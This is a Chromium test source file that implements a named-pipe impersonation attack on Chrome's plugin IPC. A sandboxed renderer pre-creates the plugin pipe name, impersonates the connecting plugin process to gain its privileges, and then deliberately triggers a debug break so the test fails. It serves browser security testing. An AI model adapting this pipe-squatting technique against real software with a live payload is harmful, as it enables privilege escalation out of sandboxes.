summaryrefslogtreecommitdiffstats
path: root/chrome/test/security_tests/ipc_security_tests.cc
blob: 038d662270f2e0b097ee16c05e95ce326d8e8de4 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include <windows.h>
#include <string>
#include <sstream>

#include "chrome/test/security_tests/ipc_security_tests.h"

namespace {

// Debug output messages prefix.
const char kODSMgPrefix[] = "[security] ";
// Format of the Chrome browser pipe for plugins.
const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d";
// Size for the in/out pipe buffers.
const int kBufferSize = 1024;

// Define the next symbol if you want to have tracing of errors.
#ifdef PIPE_SECURITY_DBG
// Generic debug output function.
void ODSMessageGLE(const char* txt) {
  DWORD gle = ::GetLastError();
  std::ostringstream oss;
  oss << kODSMgPrefix << txt << " 0x" << std::hex << gle;
  ::OutputDebugStringA(oss.str().c_str());
}
#else
void ODSMessageGLE(const char* txt) {
}
#endif

// Retrieves the renderer pipe name from the command line. Returns true if the
// name was found.
bool PipeNameFromCommandLine(std::wstring* pipe_name) {
  std::wstring cl(::GetCommandLineW());
  const wchar_t key_name[] = L"--channel";
  std::wstring::size_type pos = cl.find(key_name, 0);
  if (std::wstring::npos == pos) {
    return false;
  }
  pos = cl.find(L"=", pos);
  if (std::wstring::npos == pos) {
    return false;
  }
  ++pos;
  size_t dst = cl.length() - pos;
  if (dst <4) {
    return false;
  }
  for (; dst != 0; --dst) {
    if (!isspace(cl[pos])) {
      break;
    }
    ++pos;
  }
  if (0 == dst) {
    return false;
  }
  std::wstring::size_type pos2 = pos;
  for (; dst != 0; --dst) {
    if (isspace(cl[pos2])) {
      break;
    }
    ++pos2;
  }
  *pipe_name = cl.substr(pos, pos2);
  return true;
}

// Extracts the browser process id and the channel id given the renderer
// pipe name.
bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id,
                      std::wstring* channel_id) {
  std::wstring::size_type pos = pipe_name.find(L".", 0);
  if (std::wstring::npos == pos) {
    return false;
  }
  *parent_id = pipe_name.substr(0, pos);
  *channel_id = pipe_name.substr(pos + 1);
  return true;
}

// Creates a server pipe, in byte mode.
HANDLE MakeServerPipeBase(const wchar_t* pipe_name) {
  HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX,
                                   PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3,
                                   kBufferSize, kBufferSize, 5000, NULL);
  if (INVALID_HANDLE_VALUE == pipe) {
    ODSMessageGLE("pipe creation failed");
  }
  return pipe;
}

// Creates a chrome plugin server pipe.
HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) {
  wchar_t pipe_name[MAX_PATH];
  swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel);
  return MakeServerPipeBase(pipe_name);
}

struct Context {
  HANDLE pipe;
  Context(HANDLE arg_pipe) : pipe(arg_pipe) {
  }
};

// This function is called from a thread that has a security context that is
// higher than the renderer security context. This can be the plugin security
// context or the browser security context.
void DoEvilThings(Context* context) {
  // To make the test fail we simply trigger a breakpoint in the renderer.
  ::DisconnectNamedPipe(context->pipe);
  __debugbreak();
}

// This is a pipe server thread routine.
DWORD WINAPI PipeServerProc(void* thread_param) {
  if (NULL == thread_param) {
    return 0;
  }
  Context* context = static_cast<Context*>(thread_param);
  HANDLE server_pipe = context->pipe;

  char buffer[4];
  DWORD bytes_read = 0;

  for (;;) {
    // The next call blocks until a connection is made.
    if (!::ConnectNamedPipe(server_pipe, NULL)) {
      if (GetLastError() != ERROR_PIPE_CONNECTED) {
        ODSMessageGLE("== connect named pipe failed ==");
        continue;
      }
    }
    // return value of ReadFile is unimportant.
    ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL);
    if (::ImpersonateNamedPipeClient(server_pipe)) {
      ODSMessageGLE("impersonation obtained");
      DoEvilThings(context);
      break;
    } else {
      ODSMessageGLE("impersonation failed");
    }
    ::DisconnectNamedPipe(server_pipe);
  }
  delete context;
  return 0;
}
}   // namespace

// Implements a pipe impersonation attack resulting on a privilege elevation on
// the chrome pipe-based IPC.
// When a web-page that has a plug-in is loaded, chrome will do the following
// steps:
//   1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1.
//   2) Launches chrome with command line --type=plugin --channel=<pid>.p<n>
//   3) The new (plugin) process connects to the pipe and sends a 'hello'
//      message.
// The attack creates another server pipe with the same name before step one
// so when the plugin connects it connects to the renderer instead. Once the
// connection is acepted and at least a byte is read from the pipe, the
// renderer can impersonate the plugin process which has a more relaxed
// security context (privilege elevation).
//
// Note that the attack can also be peformed after step 1. In this case we need
// another thread which used to connect to the existing server pipe so the
// plugin does not connect to chrome but to our pipe.
bool PipeImpersonationAttack() {
  std::wstring pipe_name;
  if (!PipeNameFromCommandLine(&pipe_name)) {
    return false;
  }
  std::wstring parent_id;
  std::wstring channel_id;
  if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) {
    return false;
  }
  HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1);
  if (INVALID_HANDLE_VALUE == plugin_pipe) {
    return true;
  }

  HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc,
                                 new Context(plugin_pipe), 0, NULL);
  if (NULL == thread) {
    return false;
  }
  ::CloseHandle(thread);
  return true;
}